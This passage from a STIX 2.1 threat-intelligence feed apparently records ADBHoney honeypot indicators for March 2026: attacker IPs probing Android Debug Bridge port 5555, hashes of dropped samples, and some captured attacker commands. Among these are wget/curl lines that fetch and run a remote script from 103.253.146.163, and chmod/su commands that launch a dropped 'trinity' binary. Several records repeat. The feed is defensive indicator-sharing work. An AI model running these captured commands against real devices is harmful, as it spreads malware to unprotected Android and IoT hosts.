      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[file:hashes.'SHA-256' = '4251293b2d3765833f16988c2dbec30362df1c84dfe33c58dcc0815596d31353']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T21:00:13.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "valid_until": "",
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Hash observed as dropped sample via ADBHoney (outfile-derived)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03"
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-01T21:00:13.000Z",
      "description": "ADB dropper sample / Captured within last 1h by ADBHoney; outfile=dl/9a56e2c761e10156cac6589bc9e929b1b8b5b00dd6c79ca0d33c2399b88e3a43.raw; last_seen=2026-03-01T20:30:45.922Z",
      "id": "indicator--c289dc18-dd74-4913-91ed-9f9c53358ca0",
      "labels": [
        "nadsec",
        "tpot",
        "adbhoney",
        "dropper",
        "sample",
        "sha256"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[file:hashes.'SHA-256' = '9a56e2c761e10156cac6589bc9e929b1b8b5b00dd6c79ca0d33c2399b88e3a43']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T21:00:13.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "valid_until": "",
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Hash observed as dropped sample via ADBHoney (outfile-derived)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03"
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-01T21:00:13.000Z",
      "description": "ADB dropper sample / Captured within last 1h by ADBHoney; outfile=dl/9bc28777e722c46898754ef256d052e9cd684f6ad812d69878c68ba6cc0c72fe.raw; last_seen=2026-03-01T20:30:45.248Z",
      "id": "indicator--9205d20c-c204-4ff7-9d2f-95a250356485",
      "labels": [
        "nadsec",
        "tpot",
        "adbhoney",
        "dropper",
        "sample",
        "sha256"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[file:hashes.'SHA-256' = '9bc28777e722c46898754ef256d052e9cd684f6ad812d69878c68ba6cc0c72fe']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T21:00:13.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "valid_until": "",
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Hash observed as dropped sample via ADBHoney (outfile-derived)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03"
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-01T23:00:06.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=15; ports=5555; cc=SG; asn=14061; asn_org=DigitalOcean, LLC; adb_cmd_hits=0; cmd=\"cd /data/local/tmp/; busybox wget http://103.253.146.163/viet69.sh; sh viet69.sh; curl http://103.253.146.163/viet69.sh; sh viet69.sh; wget http://103.253.146.1\"\n\nObserved in ADBHoney telemetry for 2026-03. events=122 | first_seen=2026-03-02T02:49:54.000Z | last_seen=2026-03-03T19:28:23.314Z | ports=5555 | cc=SG | asn=14061 | org=DigitalOcean, LLC",
      "id": "indicator--efd8853b-fafb-4512-bbb6-1ae07d1d64fd",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '165.245.183.230']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T23:00:06.000Z",
      "valid_until": "2026-04-02T23:00:05.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 122,
          "first_seen": "2026-03-02T02:49:54.000Z",
          "last_seen": "2026-03-03T19:28:23.314Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "SG"
          ],
          "asn": [
            "14061"
          ],
          "org": [
            "DigitalOcean, LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-01T23:00:06.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=19; ports=5555; cc=US; asn=13737; asn_org=Interconnecx, LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=73 | first_seen=2026-03-03T01:48:01.000Z | last_seen=2026-03-06T12:55:20.508Z | ports=5555 | cc=US | asn=13737 | org=Interconnecx, LLC",
      "id": "indicator--9ced41e6-47a3-46d1-b535-250292f1ee0a",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '206.212.255.92']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T23:00:06.000Z",
      "valid_until": "2026-04-02T23:00:05.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 73,
          "first_seen": "2026-03-03T01:48:01.000Z",
          "last_seen": "2026-03-06T12:55:20.508Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "13737"
          ],
          "org": [
            "Interconnecx, LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-01T23:00:06.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=15; ports=5555; cc=SG; asn=14061; asn_org=DigitalOcean, LLC; adb_cmd_hits=0; cmd=\"cd /data/local/tmp/; busybox wget http://103.253.146.163/viet69.sh; sh viet69.sh; curl http://103.253.146.163/viet69.sh; sh viet69.sh; wget http://103.253.146.1\"\n\nObserved in ADBHoney telemetry for 2026-03. events=122 | first_seen=2026-03-02T02:49:54.000Z | last_seen=2026-03-03T19:28:23.314Z | ports=5555 | cc=SG | asn=14061 | org=DigitalOcean, LLC",
      "id": "indicator--efd8853b-fafb-4512-bbb6-1ae07d1d64fd",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '165.245.183.230']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T23:00:06.000Z",
      "valid_until": "2026-04-02T23:00:05.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 122,
          "first_seen": "2026-03-02T02:49:54.000Z",
          "last_seen": "2026-03-03T19:28:23.314Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "SG"
          ],
          "asn": [
            "14061"
          ],
          "org": [
            "DigitalOcean, LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-01T23:00:06.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=19; ports=5555; cc=US; asn=13737; asn_org=Interconnecx, LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=73 | first_seen=2026-03-03T01:48:01.000Z | last_seen=2026-03-06T12:55:20.508Z | ports=5555 | cc=US | asn=13737 | org=Interconnecx, LLC",
      "id": "indicator--9ced41e6-47a3-46d1-b535-250292f1ee0a",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '206.212.255.92']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T23:00:06.000Z",
      "valid_until": "2026-04-02T23:00:05.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 73,
          "first_seen": "2026-03-03T01:48:01.000Z",
          "last_seen": "2026-03-06T12:55:20.508Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "13737"
          ],
          "org": [
            "Interconnecx, LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-02T01:00:14.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=59; ports=5555; cc=KR; asn=4766; asn_org=Korea Telecom; cats=Generic Protocol Command Decode; adb_cmd_hits=31; cmd=\"/data/local/tmp/nohup /data/local/tmp/trinity\"\n\nObserved in ADBHoney telemetry for 2026-03. events=61 | first_seen=2026-03-02T00:49:34.000Z | last_seen=2026-03-02T01:01:57.586Z | ports=5555 | cc=KR | asn=4766 | org=Korea Telecom | related_hashes=0d3c687ffc30e185b836b99bd07fa2b0d460a090626f6bbbd40a95b98ea70257,63946c28efa919809c03be75a3937c4be80589a9df79cd1be72037d493b70857,a1b6223a3ecb37b9f7e4a52909a08d9fd8f8f80aee46466127ea0f078c7f5437,d7188b8c575367e10ea8b36ec7cca067ef6ce6d26ffa8c74b3faa0b14ebb8ff0",
      "id": "indicator--31820020-01af-4565-9402-164c275ad5df",
      "labels": [
        "malware_hosting",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot",
        "dropper",
        "malware-distribution"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '121.166.191.90']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-02T01:00:14.000Z",
      "valid_until": "2026-04-03T01:00:13.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 61,
          "first_seen": "2026-03-02T00:49:34.000Z",
          "last_seen": "2026-03-02T01:01:57.586Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "KR"
          ],
          "asn": [
            "4766"
          ],
          "org": [
            "Korea Telecom"
          ],
          "related_hashes": [
            "0d3c687ffc30e185b836b99bd07fa2b0d460a090626f6bbbd40a95b98ea70257",
            "63946c28efa919809c03be75a3937c4be80589a9df79cd1be72037d493b70857",
            "a1b6223a3ecb37b9f7e4a52909a08d9fd8f8f80aee46466127ea0f078c7f5437",
            "d7188b8c575367e10ea8b36ec7cca067ef6ce6d26ffa8c74b3faa0b14ebb8ff0"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-02T01:00:14.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=11; ports=5555; cc=US; asn=36680; asn_org=Netiface LLC; cats=Generic Protocol Command Decode; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=31 | first_seen=2026-03-02T00:55:07.000Z | last_seen=2026-03-24T13:16:48.950Z | ports=5555 | cc=US | asn=36680 | org=Netiface LLC",
      "id": "indicator--459ab818-b9ec-4179-873c-b7a6d279ebca",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '130.12.181.85']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-02T01:00:14.000Z",
      "valid_until": "2026-04-03T01:00:13.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 31,
          "first_seen": "2026-03-02T00:55:07.000Z",
          "last_seen": "2026-03-24T13:16:48.950Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "36680"
          ],
          "org": [
            "Netiface LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-02T01:00:14.000Z",
      "description": "ADB dropper sample / Captured within last 1h by ADBHoney; outfile=dl/0d3c687ffc30e185b836b99bd07fa2b0d460a090626f6bbbd40a95b98ea70257.raw; src_ip=121.166.191.90; src_ips=121.166.191.90; cc=KR; last_seen=2026-03-02T00:50:58.496Z; cmds=[/data/local/tmp/nohup /data/local/tmp/trinity | /data/local/tmp/nohup su -c /data/local/tmp/trinity | chmod 0755 /data/local/tmp/trinity]",
      "id": "indicator--89892f13-9238-4e1d-a526-87712c1f7e9d",
      "labels": [
        "nadsec",
        "tpot",
        "adbhoney",
        "dropper",
        "sample",
        "sha256"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[file:hashes.'SHA-256' = '0d3c687ffc30e185b836b99bd07fa2b0d460a090626f6bbbd40a95b98ea70257']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-02T01:00:14.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "valid_until": "",
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Hash observed as dropped sample via ADBHoney (outfile-derived)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03"
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-02T01:00:14.000Z",
      "description": "ADB dropper sample / Captured within last 1h by ADBHoney; outfile=dl/63946c28efa919809c03be75a3937c4be80589a9df79cd1be72037d493b70857.raw; src_ip=121.166.191.90; src_ips=121.166.191.90; cc=KR; last_seen=2026-03-02T00:51:21.264Z; cmds=[/data/local/tmp/nohup /data/local/tmp/trinity | /data/local/tmp/nohup su -c /data/local/tmp/trinity | chmod 0755 /data/local/tmp/trinity]",
      "id": "indicator--af73cc57-59ed-40a7-8fd4-c2a85fd31780",
      "labels": [
        "nadsec",
        "tpot",
        "adbhoney",
        "dropper",
        "sample",
        "sha256"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[file:hashes.'SHA-256' = '63946c28efa919809c03be75a3937c4be80589a9df79cd1be72037d493b70857']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-02T01:00:14.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "valid_until": "",
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Hash observed as dropped sample via ADBHoney (outfile-derived)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03"
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-02T01:00:14.000Z",
      "description": "ADB dropper sample / Captured within last 1h by ADBHoney; outfile=dl/a1b6223a3ecb37b9f7e4a52909a08d9fd8f8f80aee46466127ea0f078c7f5437.raw; src_ip=121.166.191.90; src_ips=121.166.191.90; cc=KR; last_seen=2026-03-02T00:51:39.767Z; cmds=[/data/local/tmp/nohup /data/local/tmp/trinity | /data/local/tmp/nohup su -c /data/local/tmp/trinity | chmod 0755 /data/local/tmp/trinity]",
      "id": "indicator--5c5c9721-40ce-4e9e-8254-7827fae81c0e",
      "labels": [
        "nadsec",
        "tpot",
        "adbhoney",
        "dropper",
        "sample",
        "sha256"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[file:hashes.'SHA-256' = 'a1b6223a3ecb37b9f7e4a52909a08d9fd8f8f80aee46466127ea0f078c7f5437']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-02T01:00:14.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "valid_until": "",
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Hash observed as dropped sample via ADBHoney (outfile-derived)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03"
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-02T01:00:14.000Z",
      "description": "ADB dropper sample / Captured within last 1h by ADBHoney; outfile=dl/d7188b8c575367e10ea8b36ec7cca067ef6ce6d26ffa8c74b3faa0b14ebb8ff0.raw; src_ip=121.166.191.90; src_ips=121.166.191.90; cc=KR; last_seen=2026-03-02T00:51:49.483Z; cmds=[/data/local/tmp/nohup /data/local/tmp/trinity | /data/local/tmp/nohup su -c /data/local/tmp/trinity | chmod 0755 /data/local/tmp/trinity]",
      "id": "indicator--6b1b68f3-1dad-4432-ab40-fc197fd238b4",
      "labels": [
        "nadsec",
        "tpot",
        "adbhoney",
        "dropper",
        "sample",
        "sha256"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[file:hashes.'SHA-256' = 'd7188b8c575367e10ea8b36ec7cca067ef6ce6d26ffa8c74b3faa0b14ebb8ff0']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-02T01:00:14.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "valid_until": "",
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Hash observed as dropped sample via ADBHoney (outfile-derived)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03"
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-02T01:00:14.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=59; ports=5555; cc=KR; asn=4766; asn_org=Korea Telecom; cats=Generic Protocol Command Decode; adb_cmd_hits=31; cmd=\"/data/local/tmp/nohup /data/local/tmp/trinity\"\n\nObserved in ADBHoney telemetry for 2026-03. events=61 | first_seen=2026-03-02T00:49:34.000Z | last_seen=2026-03-02T01:01:57.586Z | ports=5555 | cc=KR | asn=4766 | org=Korea Telecom | related_hashes=0d3c687ffc30e185b836b99bd07fa2b0d460a090626f6bbbd40a95b98ea70257,63946c28efa919809c03be75a3937c4be80589a9df79cd1be72037d493b70857,a1b6223a3ecb37b9f7e4a52909a08d9fd8f8f80aee46466127ea0f078c7f5437,d7188b8c575367e10ea8b36ec7cca067ef6ce6d26ffa8c74b3faa0b14ebb8ff0",
      "id": "indicator--31820020-01af-4565-9402-164c275ad5df",
      "labels": [
        "malware_hosting",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot",
        "dropper",
        "malware-distribution"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '121.166.191.90']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-02T01:00:14.000Z",
      "valid_until": "2026-04-03T01:00:13.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 61,
          "first_seen": "2026-03-02T00:49:34.000Z",
          "last_seen": "2026-03-02T01:01:57.586Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "KR"
          ],
          "asn": [
            "4766"
          ],
          "org": [
            "Korea Telecom"
          ],
          "related_hashes": [
            "0d3c687ffc30e185b836b99bd07fa2b0d460a090626f6bbbd40a95b98ea70257",
            "63946c28efa919809c03be75a3937c4be80589a9df79cd1be72037d493b70857",
            "a1b6223a3ecb37b9f7e4a52909a08d9fd8f8f80aee46466127ea0f078c7f5437",
            "d7188b8c575367e10ea8b36ec7cca067ef6ce6d26ffa8c74b3faa0b14ebb8ff0"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-02T01:00:14.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=11; ports=5555; cc=US; asn=36680; asn_org=Netiface LLC; cats=Generic Protocol Command Decode; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=31 | first_seen=2026-03-02T00:55:07.000Z | last_seen=2026-03-24T13:16:48.950Z | ports=5555 | cc=US | asn=36680 | org=Netiface LLC",
      "id": "indicator--459ab818-b9ec-4179-873c-b7a6d279ebca",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '130.12.181.85']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-02T01:00:14.000Z",
      "valid_until": "2026-04-03T01:00:13.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 31,
          "first_seen": "2026-03-02T00:55:07.000Z",
          "last_seen": "2026-03-24T13:16:48.950Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "36680"
          ],
          "org": [
            "Netiface LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-02T01:00:14.000Z",
      "description": "ADB dropper sample / Captured within last 1h by ADBHoney; outfile=dl/0d3c687ffc30e185b836b99bd07fa2b0d460a090626f6bbbd40a95b98ea70257.raw; src_ip=121.166.191.90; src_ips=121.166.191.90; cc=KR; last_seen=2026-03-02T00:50:58.496Z; cmds=[/data/local/tmp/nohup /data/local/tmp/trinity | /data/local/tmp/nohup su -c /data/local/tmp/trinity | chmod 0755 /data/local/tmp/trinity]",
      "id": "indicator--89892f13-9238-4e1d-a526-87712c1f7e9d",
      "labels": [
        "nadsec",
        "tpot",
        "adbhoney",
        "dropper",
        "sample",
        "sha256"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[file:hashes.'SHA-256' = '0d3c687ffc30e185b836b99bd07fa2b0d460a090626f6bbbd40a95b98ea70257']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-02T01:00:14.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "valid_until": "",
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Hash observed as dropped sample via ADBHoney (outfile-derived)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03"
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-02T01:00:14.000Z",
      "description": "ADB dropper sample / Captured within last 1h by ADBHoney; outfile=dl/63946c28efa919809c03be75a3937c4be80589a9df79cd1be72037d493b70857.raw; src_ip=121.166.191.90; src_ips=121.166.191.90; cc=KR; last_seen=2026-03-02T00:51:21.264Z; cmds=[/data/local/tmp/nohup /data/local/tmp/trinity | /data/local/tmp/nohup su -c /data/local/tmp/trinity | chmod 0755 /data/local/tmp/trinity]",
      "id": "indicator--af73cc57-59ed-40a7-8fd4-c2a85fd31780",
      "labels": [
        "nadsec",
        "tpot",
        "adbhoney",
        "dropper",
        "sample",
        "sha256"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[file:hashes.'SHA-256' = '63946c28efa919809c03be75a3937c4be80589a9df79cd1be72037d493b70857']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-02T01:00:14.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "valid_until": "",
      "external_references": [
        {
          "source_name": "NadSec",
